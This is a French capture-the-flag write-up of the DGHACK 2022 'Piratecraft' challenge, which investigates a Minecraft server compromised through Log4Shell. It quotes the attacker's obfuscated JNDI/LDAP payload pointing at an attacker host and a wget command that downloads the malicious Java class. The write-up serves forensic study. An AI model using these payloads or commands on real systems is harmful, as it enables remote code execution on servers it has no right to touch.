Piratage de serveur minecraft
Write-up du challenge Piratecraft du dghack (édition 2022)
Le
Bonjour et bienvenu sur ce quatrième write-up portant sur les challenges de la DGHACK, édition 2022, organisé par la Direction Générale de l’Armement du Ministère des Armées.
Au programme, Minecraft, Log4j et vilain(s) hacker(s) 👾.
Le challenge
Description
Un service d'hébergement de serveurs de jeux fournit des VPS avec Minecraft préinstallé pour leurs clients. Certaines attaques ciblent les serveurs et les font tomber en panne. Vous êtes le nouvel administrateur système. Vous avez accès à un serveur attaqué. Détectez l'intrusion sur le serveur Minecraft et essayez de comprendre les actions malveillantes.
Information: utilisez les options suivantes avec la commande ssh pour éviter les déconnexions :
ssh <address> -p <port> -o ServerAliveInterval=30 -o ServerAliveCountMax=2
Pour résumer, l'objectif est de retrouver des hackeurs qui ont piraté un serveur Minecraft. Pour cela, on dispose d'un accès SSH au serveur compromis.
Recherche de traces
J'inspecte les fichiers dans lesquels l'attaquant aurait pu laisser des traces, en commençant par le .bash_history. Ce fichier contient l’historique des commandes saisies par un utilisateur dans un terminal bash.

On comprend effectivement pourquoi le serveur Minecraft a disparu: le launcher a été supprimé par le groupe des unhappy competitor 🥲. On note ce nom, il va nous servir pour plus tard... ou même pour tout de suite en fait:

La capture ci-dessus montre les logs des messages envoyés par les utilisateurs sur le serveur. On remarque qu’un des unhappy competitor a envoyé un message étrange...
${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//unhappy.competitor.com:1389/a}
... et oui qui dit hack de serveur Minecraft cette année dit log4j, et on est en plein dedans. On reconnait la payload classique obfusqué d'une exploitation Log4Shell, qui une fois décodé donne
${jndi:ldap://unhappy.competitor.com:1389/a}
On obtient le nom de domaine de la machine utilisé par les attaquants, et un numéro de port.
Log4Shell
Log4j, keskeucé ? Log4j (pour Logging for Java) est une bibliothèque Java utilisée pour gérer la journalisation (logging) des applications. Mais quand on parle de Log4j, on pense également à la tristement célèbre vulnérabilité Log4Shell qui a ciblé cette librairie.
La vulnérabilité Log4Shell (CVE-2021-44228) de Log4j permet à un attaquant distant d’exécuter du code arbitraire sur un serveur en injectant une chaine spéciale dans les journaux, que Log4j traite via le mécanisme de JNDI lookup, conduisant à un Remote Code Execution (RCE).
L'exploitation peut être illustrée comme ci-dessous :

La vulnérabilité log4j a impacté beaucoup de serveurs Minecraft en Java Édition, car ceux-ci utilisent la librairie Log4j pour enregistrer les logs de chat et d'évènements. Un simple message de chat contenant une chaine spécialement formatée pouvait permettre à un attaquant d’exécuter du code arbitraire sur le serveur, et c'est ce que le unhappy group a fait dans le cadre de ce challenge.
Retrouver les hackeurs
Maintenant qu'on sait comment ils ont fait, retrouvons ces méchants hackeurs. Le nom de domaine ne résout pas, il nous faut trouver une autre trace laissée par les attaquants. En fouillant à tâtons dans les fichiers de logs j'ai fini par tomber sur l'adresse IP en clair du serveur utilisé par les attaquants.

Celle-ci répond, le serveur est encore accessible. Je m'y suis connecté en LDAP sur le port que les attaquants ont utilisé pour l'exploitation de la Log4J.
root@malice:~# ldapsearch -H ldap://174.10.54.15:1389/a -x
# extended LDIF
#
# LDAPv3
# base <> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
#
dn:
javaClassName: foo
javaCodeBase: http://174.10.54.15:50666/
objectClass: javaNamingReference
javaFactory: Exploit84686564564857543
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
J'ai pu obtenir un lien vers la classe Java malicieuse et la télécharger sur leur serveur.
wget http://unhappy.competitor.com:50666/Exploit84686564564857543.class
Après un rapide reverse, j'ai décidé de l'exécuter dans un environnement sandboxé.

Et le tour est joué HAHA !